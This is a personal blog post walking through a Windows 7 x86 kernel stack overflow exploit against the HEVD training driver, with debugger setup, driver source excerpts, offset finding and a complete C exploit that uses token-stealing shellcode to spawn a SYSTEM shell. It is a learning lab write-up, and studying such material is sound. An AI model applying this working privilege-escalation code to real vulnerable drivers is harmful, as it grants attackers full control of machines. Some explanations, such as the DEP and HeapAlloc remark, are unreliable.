Tuesday, 28 May 2024

Windows 7 x86 SP1 Kernel Stack Overflow

 So, recently  I have started Learning Windows kernel exploitation, After looking through the web for WKE resources . I found that HEVD(HackSys Extreme Vulnerable Driver) made by HackSysTeam will be best to learn WKE as it have all the basic vulnerability classes like Stack Overflow, Null pointer dereference, User-after-free. I will take a single vulnerability ,then try to make exploit and learn it in windows 7 X86 , then try the same vulnerability in windows 10 , then windows 11. because Microsoft has added has added a lot of mitigations with newer versions of windows which will help me in learning ways to bypasses this mitigations. OK, lets start with stack overflow on windows 7 x86 SP1. ("First we have to learn walking then we can starting Running").

SETUP

Since We are exploiting kernel , unlike user mode applications if the application crashes We can restart the application but in case of kernel if the Kernel Crashes it will BSOD. SO we have to use a virtual machine to debug the kernel. You can find a lot of blogs on setting windows kernel debugging. I used the rootkit blog to setup the kernel debugging. 

I am using two windows 7 x86 VM, one is the debugger VM which is use dto debug the target VM. After you have setup the debugger it should looks something like this.

Windbg
Now, load the vulnerable HEVD driver on the target VM . I am using OSRLoader
to load the driver. It can also be done using command in windows.
First register the service and then start the service.

IoCreateDevice and IOCTL


Lets take a look at how the driver is created in  kernel,https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Driver/HEVD/Windows/HackSysExtremeVulnerableDriver.c. Here is the part of code in which the device is created.

  RtlInitUnicodeString(&DeviceName, "\\Device\\HackSysExtremeVulnerableDriver");
    RtlInitUnicodeString(&DosDeviceName, "\\DosDevices\\HackSysExtremeVulnerableDriver");

    //
    // Create the device
    //

    Status = IoCreateDevice(
        DriverObject,
        0,
        &DeviceName,
        FILE_DEVICE_UNKNOWN,
        FILE_DEVICE_SECURE_OPEN,
        FALSE,
        &DeviceObject
    );

The function IoCreateDevice is used to create device and device name is HackSysExtremeVulnerableDriver . With CreateFile Windows API we can read or write to the driver , but driver has something more to do despite just read or write, for this IOCTL is used. Every Routine of the driver can be defined by a specific IOCTL number. Lets look at the IOCTL of the HEVD,

    // Assign the IRP handlers for Create, Close and Device Control
    //

    DriverObject->MajorFunction[IRP_MJ_CREATE] = IrpCreateCloseHandler;
    DriverObject->MajorFunction[IRP_MJ_CLOSE] = IrpCreateCloseHandler;
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IrpDeviceIoCtlHandler;

 IRPs are I/O request packets which are send to IOCTL to do further functioning. Here , Create , Close and Device control IOCTLS are created in which the IRP_MJ_DEVICE_CONTROL is used to IOCTL codes to driver from IRP.

/// <summary>
/// IRP Device IoCtl Handler
/// </summary>
/// <param name="DeviceObject">The pointer to DEVICE_OBJECT</param>
/// <param name="Irp">The pointer to IRP</param>
/// <returns>NTSTATUS</returns>
NTSTATUS
IrpDeviceIoCtlHandler(
    _In_ PDEVICE_OBJECT DeviceObject,
    _Inout_ PIRP Irp
)
{
    ULONG IoControlCode = 0;
    PIO_STACK_LOCATION IrpSp = NULL;
    NTSTATUS Status = STATUS_NOT_SUPPORTED;

    UNREFERENCED_PARAMETER(DeviceObject);
    PAGED_CODE();

    IrpSp = IoGetCurrentIrpStackLocation(Irp);

    if (IrpSp)
    {
        IoControlCode = IrpSp->Parameters.DeviceIoControl.IoControlCode;

        switch (IoControlCode)
        {
        case HEVD_IOCTL_BUFFER_OVERFLOW_STACK:
            DbgPrint("****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK ******\n");
            Status = BufferOverflowStackIoctlHandler(Irp, IrpSp);
            DbgPrint("****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK ******\n");
            break;
        case HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS:
            DbgPrint("****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS ******\n");
            Status = BufferOverflowStackGSIoctlHandler(Irp, IrpSp);
            DbgPrint("****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS ******\n");
            break;

Here the IrpDeviceIoctlHandler is defined which uses switch statement on the basis of the IOCTL number. The IOCTL number is defined here

//
// IOCTL Definitions
//

#define HEVD_IOCTL_BUFFER_OVERFLOW_STACK                         IOCTL(0x800)
#define HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS                      IOCTL(0x801)
#define HEVD_IOCTL_ARBITRARY_WRITE                               IOCTL(0x802)
#define HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL                IOCTL(0x803)
#define HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL            IOCTL(0x804)
#define HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL                 IOCTL(0x805)
#define HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL                IOCTL(0x806)
#define HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL           IOCTL(0x807)
#define HEVD_IOCTL_TYPE_CONFUSION                                IOCTL(0x808)
#define HEVD_IOCTL_INTEGER_OVERFLOW                              IOCTL(0x809)
#define HEVD_IOCTL_NULL_POINTER_DEREFERENCE                      IOCTL(0x80A)
#define HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK                    IOCTL(0x80B)
#define HEVD_IOCTL_UNINITIALIZED_MEMORY_PAGED_POOL               IOCTL(0x80C)
#define HEVD_IOCTL_DOUBLE_FETCH                                  IOCTL(0x80D)
#define HEVD_IOCTL_INSECURE_KERNEL_FILE_ACCESS                   IOCTL(0x80E)
#define HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL              IOCTL(0x80F)
#define HEVD_IOCTL_BUFFER_OVERFLOW_PAGED_POOL_SESSION            IOCTL(0x810)
#define HEVD_IOCTL_WRITE_NULL                                    IOCTL(0x811)
#define HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL_NX             IOCTL(0x812)
#define HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL_NX           IOCTL(0x813)
#define HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL_NX         IOCTL(0x814)
#define HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL_NX              IOCTL(0x815)
#define HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL_NX             IOCTL(0x816)
#define HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL_NX        IOCTL(0x817)
#define HEVD_IOCTL_CREATE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX    IOCTL(0x818)
#define HEVD_IOCTL_SET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX  IOCTL(0x819)
#define HEVD_IOCTL_GET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX  IOCTL(0x81A)
#define HEVD_IOCTL_DELETE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX    IOCTL(0x81B)
#define HEVD_IOCTL_ARBITRARY_INCREMENT                           IOCTL(0x81C)
You can see that there is different IOCTL number for different routine. The IOCTL(function) is defined by using Windows Macro CTL_CODE, which just do some arithmetic to calculate the IOCTL code.

#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)

VULNERABILITY

Lets look at the stack Overflow vulnerability StackOverflow.c . Since we have the source we don't need to reverse it. The source code is pretty good commented with secure and vulnerable section.

The vulnerability is clearly visible that the function RtlCopyMemory is copying from usermode buffer to kernel buffer without any control on the amount of size to be copied. 

So, now how to trigger the vulnerability ? As mentioned every driver creates a symbolic link in the /Device path . So we can interact with the driver by using CreateFileA() WinAPI to open a handle to the /Device/HackSysExtremeVulnerableDriver  and for triggering the Stack Overflow vuln we have to send IOCTL code to the BufferOverfloeStackIOCTLHandler using DeviceIOControl API. Kernel Buffer size is 512 and it is ULONG so it takes 2048 bytes. Since we don't know the exact buffer size that will be needed to overwrite the EIP . Lets a write a basic script that will crash the kernel into BSOD.

#include <windows.h>
#include <stdio.h>

// PATH includes double slashes due to LPCSTR
#define HEVD_PATH "\\\\.\\HackSysExtremeVulnerableDriver"

// IOCTL defined in HEVD using CTL_CODE Macro
#define IOCTL(function) CTL_CODE(FILE_DEVICE_UNKNOWN, function, METHOD_NEITHER, FILE_ANY_ACCESS)

// IOCTL number for StackOverflow
#define STACK_OVERFLOW_IOCTL_NUMBER  IOCTL(0x800)

// Usermode Buffer Size
#define BUF_SIZE 2100

INT main(void)
{    
    // Usermode Buffer
    LPVOID BUF = NULL;

    // Opening Handle to /Device/HackSysExtremeVulnerableDriver
    HANDLE h = CreateFileA(HEVD_PATH,
        FILE_READ_ACCESS | FILE_WRITE_ACCESS,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
        NULL);
    
    if (h == INVALID_HANDLE_VALUE) {
        printf("[!] Failed to open handle to HEVD!!!!!\n");
    }
    else {
        printf("[#] Succesfully opened handle to HEVD...\n");
    }

    // Allocating Usermode buffer on heap due to DEP.
    BUF = (LPVOID)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, BUF_SIZE);
    
    if (!BUF) {
        printf("[!] Error allocating heap memory for usermode buffer.....\n");
    }
    
    // Writing Usermode Buffer with 'AAAAA...'
    memset(BUF, 'A', BUF_SIZE);

    printf("[#] Writing Kernel Buffer with AAAAAAA....\n");
    printf("[#] Opening BufferOverflowStackIOCTLHandler \n");
    ULONG Bytesreturned;
    //Calling the BufferStackOverflowIOCTLHandler
    BOOL ret =  DeviceIoControl(h, STACK_OVERFLOW_IOCTL_NUMBER, (LPVOID)BUF, (DWORD)BUF_SIZE, NULL,0,&Bytesreturned, NULL );
    if (ret) {
        printf("[#] IOCTL Opened succesfully\n");
    }
    else {
        printf("[!] IOCTL Failed to open....\n");
    }

    return EXIT_SUCCESS;
}

One Important thing to notice here is that we are using dynamic memory 
instead of Static memory because DEP is enabled in all windows version 
started from windows XP SP2 in usermode as well as kernel mode. So we
Used HeapAlloc() to create a region of memory which is executable.
Compile this and run in the target VM with debugger attached.
you will get crash like this in the windbg debugger.
Then select Debug and Go unhandled Exception and then g in the kd >.

You get the crash showing the infamous BSOD.

DEBUG TIME


First lets find the exact Buffer size needed to overwrite the EIP with any address we want. Make sure to take a snapshot of the Target VM because after Kernel Crash , VM takes times to reboot .So its better to just switch the previous snapshot.


Reload the symbols using .reload then disassemble the HEVD TriggerStackBufferOverflow  function and set breakpoint at the memcpy function .

Set breakpoint at the address of HEVD!memcpy using bp 823aa235 ,then continue execution using g . Run the HEVD.exe exploit in the Target VM .



When the breakpoint is hit , check the value at the address of esp , as this is a 32-bit machine arguments are pushed on the stack . check the value stored at the address of the first and second argument , you can see that the first argument is the kernel buffer and second argument is the user mode buffer that we have filled with 'AAAAA' . 


You can see the call stack that the return address is 823aa19a which is 80 bytes plus the 2000 bytes . So, If we have to overflow 2080 bytes to overwrite the EIP.

WHERE TO GO NOW?

In Userland , the final goal of our exploit is jump to a shellcode after we have control over the EIP . But in Context of Kernel Land our main goal is to elevate our privilege to NT AUTHORITY/ SYSTEM  user which has the all rights to do anything because during an exploitation the attacker has gained access to the system through browser or any other user mode vulnerability and now the attacker needs to elevate its privilege despite the vuln is RCE. This types of exploits are generally called EOP (Elevate of privilege)or LPE (Local Privilege Escalation).

So, We will elevate our process by stealing token of high privilege process System which has PID of 4. we will steal the token of System process and replace it with the token of our process.

 IMPORTANT: First start the DebuggerVM and start the Windbg to connect to the Target Vm and then start the TargetVM beacuse it will disable the PatchGuard if connect the debugger from boot. Its better to do this to prevent any shenanigans.
Patch Guard was first added in Windows XP. It prevent Kernel from any modifications in critical structures(like if you  try to hide a process) and will leads to BSOD if this happens.

The Token stealing payload is provided by HackSysTeam payload.c 


        pushad                               ; Save registers state

        ; Start of Token Stealing Stub
        xor eax, eax                         ; Set ZERO
        mov eax, fs:[eax + KTHREAD_OFFSET]   ; Get nt!_KPCR.PcrbData.CurrentThread
                                             ; _KTHREAD is located at FS:[0x124]

        mov eax, [eax + EPROCESS_OFFSET]     ; Get nt!_KTHREAD.ApcState.Process

        mov ecx, eax                         ; Copy current process _EPROCESS structure

        mov edx, SYSTEM_PID                  ; WIN 7 SP1 SYSTEM process PID = 0x4

        SearchSystemPID:
            mov eax, [eax + FLINK_OFFSET]    ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
            sub eax, FLINK_OFFSET
            cmp [eax + PID_OFFSET], edx      ; Get nt!_EPROCESS.UniqueProcessId
            jne SearchSystemPID

        mov edx, [eax + TOKEN_OFFSET]        ; Get SYSTEM process nt!_EPROCESS.Token
        mov [ecx + TOKEN_OFFSET], edx        ; Replace target process nt!_EPROCESS.Token
                                             ; with SYSTEM process nt!_EPROCESS.Token
        ; End of Token Stealing Stub

        popad                                ; Restore registers state


Windows Kernel includes a lot of structures which are mostly used by reverse engineers and Vuln researcher in their work . We are the doing same thing here we are parsing through the structures to eventually get the Token.


NOTE: fs register is a special register known as segment register which points to the _KPCR  data structures in 32 bit which is going to used here in the payload. gs is the same for the 64 bit architecture.


You can use Vergilius project (very useful resource) to take look at the structures used in the windows kernel . or you may use your windbg also.

This payload is very well explained by hasherezade , you can look at it if you want better understanding.


_KPCR




_KPRCB


_KTHREAD


_KAPC_STATE



_EPROCESS


EPROCESS
is the first object of the EPROCESS structure so they are same address. Now we will traverse the _LIST_ENTRY to look for the system process and then copy its token and replace it with the our token.


Final Exploit

So Here is the final exploit :

#include <windows.h>
#include <string.h>
#include <stdio.h>

// PATH includes double slashes due to LPCSTR
#define HEVD_PATH "\\\\.\\HackSysExtremeVulnerableDriver"

// IOCTL defined in HEVD using CTL_CODE Macro
#define IOCTL(function) CTL_CODE(FILE_DEVICE_UNKNOWN, function, METHOD_NEITHER, FILE_ANY_ACCESS)

// IOCTL number for StackOverflow
#define STACK_OVERFLOW_IOCTL_NUMBER  IOCTL(0x800)

// Usermode Buffer Size
#define BUF_SIZE 2084

#define KTHREAD_OFFSET     0x124  // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET    0x050  // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET         0x0B4  // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET       0x0B8  // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET       0x0F8  // nt!_EPROCESS.Token
#define SYSTEM_PID         0x004  // SYSTEM Process PID

//Token Stealin payload

__declspec(naked) VOID TokenStealingPayload() {
    __asm {
        pushad                                ; Save registers state

        ; Start of Token Stealing Stub
        
        xor eax, eax; Set ZERO
        mov eax, fs: [eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
                                            ; _KTHREAD is located at FS : [0x124]

        mov eax, [eax + EPROCESS_OFFSET]    ; Get nt!_KTHREAD.ApcState.Process

        mov ecx, eax                        ; Copy current process _EPROCESS structure

        mov edx, SYSTEM_PID                    ; WIN 7 SP1 SYSTEM process PID = 0x4

        SearchSystemPID:
        mov eax, [eax + FLINK_OFFSET]        ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
            sub eax, FLINK_OFFSET
            cmp[eax + PID_OFFSET], edx        ; Get nt!_EPROCESS.UniqueProcessId
            jne SearchSystemPID

        mov edx, [eax + TOKEN_OFFSET]        ; Get SYSTEM process nt!_EPROCESS.Token
        mov[ecx + TOKEN_OFFSET], edx        ; Replace target process nt!_EPROCESS.Token
                                            ; with SYSTEM process nt!_EPROCESS.Token
        ; End of Token Stealing Stub

        popad                                ; Restore registers state

        ; Kernel Recovery Stub
        xor eax, eax                ; Set NTSTATUS SUCCEESS
        pop ebp                        ; Restore saved EBP
        ret 8                        ; Return cleanly
    }
}

INT main(void)
{    
    // Usermode Buffer
    PVOID EIPADDRESS = NULL;

    // Opening Handle to /Device/HackSysExtremeVulnerableDriver
    HANDLE h = CreateFileA(HEVD_PATH,
        FILE_READ_ACCESS | FILE_WRITE_ACCESS,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
        NULL);
    
    if (h == INVALID_HANDLE_VALUE) {
        printf("[!] Failed to open handle to HEVD!!!!!\n");
    }
    else {
        printf("[#] Succesfully opened handle to HEVD...\n");
    }

    // Allocating Usermode buffer on heap due to DEP.
    LPVOID BUF = (LPVOID)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, BUF_SIZE);
    
    if (!BUF) {
        printf("[!] Error allocating heap memory for usermode buffer.....\n");
    }
    
    // Writing Usermode Buffer with 'AAAAA...'
    RtlFillMemory(BUF, BUF_SIZE, 'A');

    printf("[#] Writing Kernel Buffer with AAAAAAA....\n");

    printf("[#] Overwriting EIP with Token stealing payload \n");
    
    // EIP overwrite
    EIPADDRESS = (PVOID)((ULONG)BUF + BUF_SIZE - sizeof(ULONG));
    *(PULONG)EIPADDRESS = (ULONG)TokenStealingPayload;

    printf("[#] Opening BufferOverflowStackIOCTLHandler \n");
    printf("[#] Triggering exploit. \n");
    //Calling the BufferStackOverflowIOCTLHandler
    ULONG Bytesreturned;

    DeviceIoControl(h, STACK_OVERFLOW_IOCTL_NUMBER, (LPVOID)BUF, (DWORD)BUF_SIZE, NULL, 0, &Bytesreturned, NULL);

    HeapFree(GetProcessHeap(), 0, (LPVOID)BUF);

    BUF = NULL ;

    printf("[#] Have Fun. \n");

    // Elevated privilege of current process.
    printf("[#] spawning NT AUTHORITY/SYSTEM SHELL !!!!!!!!\n");

    system("cmd.exe");

    return EXIT_SUCCESS;
}

We successfully elevated our privilege to NT AUTHORITY/SYTEM.


Thanks .